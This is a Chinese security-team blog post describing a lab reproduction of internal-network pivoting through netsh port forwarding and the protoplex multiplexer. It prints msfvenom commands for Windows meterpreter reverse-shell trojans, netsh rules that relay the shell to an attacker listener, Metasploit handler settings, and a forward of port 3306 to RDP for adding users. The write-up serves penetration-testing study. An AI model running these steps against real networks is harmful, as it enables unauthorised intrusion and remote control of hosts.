内网--端口转发以及端口复用
2022-7-15 17:5:6 Author: Tide安全团队(查看原文) 阅读量:23 收藏

前段时间在一次内网中遇到了一个问题,当时想了很多办法,虽然最终没能解决但是也学了很多东西。


现在想想也是很愁。

大致情况就是现在处于192的网段然后有一个172网段机器的mssql账号(可以执行命令和上传文件),并且172网段上的这台服务器只对192这台机器开放了1433端口,需要到172的网段。

一张图简单明了。

虽然最终没能解决问题,但是也是学到了不少方法来应对相似的情况。

1、netsh

netsh(Network Shell) 是一个windows系统本身提供的功能强大的网络配置命令行工具,可以查看或更改本地计算机或远程计算机的网络配置。

场景1

假如,就是说假如咱们这里放开一下限制规则 172的网段依然不出网,且只对192网段开放1433端口,但是172可以访问192的网段。那这样咱们可以通过172机器反向连接192机器然后在192机器做端口转发到攻击机器上的监听端口,这里在本地复现改了一下ip 如下图:

以及修改目标机器的防火潜规则确保其他的端口无法被访问。

使用msf生成反弹马,然后将木马上传到目标机器。

msfvenom -a x64 --platform windows  -p windows/x64/meterpreter/reverse_tcp  LHOST=10.211.55.10 LPORT=6767  -i 3 -f exe -o o.exe

然后我们在10.211.5.10这台机器通过netsh设置端口转发将6767转发到攻击机的监听端口。

netsh interface portproxy add v4tov4 listenport=6767 connectport=6767 connectaddress=192.168.49.129

在攻击机上设置监听,然后在目标机器上执行木马。

use exploit/multi/handlerset payload windows/x64/meterpreter/reverse_tcpset lhost 192.168.49.129set lport 6767

攻击机器成功收到会话。

场景2

在场景1中我们的目标机器可以随意访问我们跳板机5.10的任意端口,假如我们这边开始增加限制目标机器不能随意访问跳板机器的端口,只能访问指定端口比如:80、445、1433、1521、3306、3389、6379、8080,这其中的一个或者多个端口,如下图。

和上面一样通过ms生成反向连接马以及上传到目标服务器,设置连接端口为80.

msfvenom -a x64 --platform windows  -p windows/x64/meterpreter/reverse_tcp  LHOST=10.211.55.10 LPORT=80  -i 3 -f exe -o o.exe

这里为了严谨依然通过防火墙设置端口限制,80可以访问到,其他端口均不能访问。

然后通过netsh设置端口转发。

netsh interface portproxy add v4tov4 listenport=80 connectport=6767 connectaddress=192.168.49.129

然后在目标机器上执行木马,我们通过端口连接可以看到目标机器与跳板机的80端口进行了连接且跳板机也收到连接,但是跳板机的80端口并没有转发到攻击机的监听端口,如下图。

我们攻击机也同样没有收到回话。
继续测试3306端口(只对目标机器开放3306,其他端口均禁止),步骤同上我们这边直接跳过重复步骤,直接到执行木马,然后我们可以发现msf成功的接受到了会话,如下图。

端口正常转发。

经过测试发现3306和8080可以正常的进行转发80、445、1433、3389、6379等不可转发猜测下是windows自带的一些服务可能都不支持这种情况。

场景3

我们继续增加限制条件在场景2中我们的目标机器可以访问我们跳板机5.10的个别端口,假如我们这边开始增加限制目标机器不能访问跳板机器的端口,但是我们也不是只能访问目标机器的1433,我们这次增加一个别的端口80或者3306等,如下图。

我们先讨论80端口的情况,这个就比较简单直接看是什么web服务然后上传对应的shell连接就可以了(Neo-reGeorg)。
然后是3306,我们依然可以通过netsh进行端口转发列出一个最简单的方式就是将目标机器上的3306端口转发到3389端口上。

netsh interface portproxy add v4tov4 listenport=3306 listenaddress=10.211.55.5 connectport=3389 connectaddress=10.211.55.5

然后我们可以读密码或者加用户,再通过跳板机去连接远程桌面这里直接连接3306端口。

经过测试这种情况下有很多端口是不可以这样转发的就比如iis开放的80端口,已经mssql的1433端口,但是像3306、8080这种端口是可以被转发的,所以实际不同情况需要多尝试(这里实验时差点把自己绕进去)。

2、工具

protoplex

这是一个协议复用的工具,比如命令可将本地9999端口的流量根据协议类型转到本地的2333和80端口,这里我做了一下实验,发现该工具的监听端口不能被占用也不能是3306、1433、3389这种的特殊端口。
他可以监听10.211.55.5:4444,如果是socks5协议的流量就将流量转发给10.211.55.5:9999,如果是http流量,就将流量转发给10.211.55.5:80

protoplex_windows_amd64.exe --socks5 10.211.55.5:9999 --http 10.211.55.5:80 -b 10.211.55.5:4444

其他机器访问

socks5测试不理想,最终也是没能解决这个问题。

期待找到解决办法。

E

N

D

Tide安全团队正式成立于2019年1月,是新潮信息旗下以互联网攻防技术研究为目标的安全团队,团队致力于分享高质量原创文章、开源安全工具、交流安全技术,研究方向覆盖网络攻防、系统安全、Web安全、移动终端、安全开发、物联网/工控安全/AI安全等多个领域。

团队作为“省级等保关键技术实验室”先后与哈工大、齐鲁银行、聊城大学、交通学院等多个高校名企建立联合技术实验室,近三年来在网络安全技术方面开展研发项目60余项,获得各类自主知识产权30余项,省市级科技项目立项20余项,研究成果应用于产品核心技术研究、国家重点科技项目攻关、专业安全服务等。对安全感兴趣的小伙伴可以加入或关注我们。



文章来源: http://mp.weixin.qq.com/s?__biz=Mzg2NTA4OTI5NA==&mid=2247499608&idx=1&sn=b615ba569d830df959079d9e34a9f126&chksm=ce5ddd39f92a542ff23ad894c43c374ec6df1cf0b1a399767409674c8de466e391cf789f626d#rd
如有侵权请联系:admin#unsafe.sh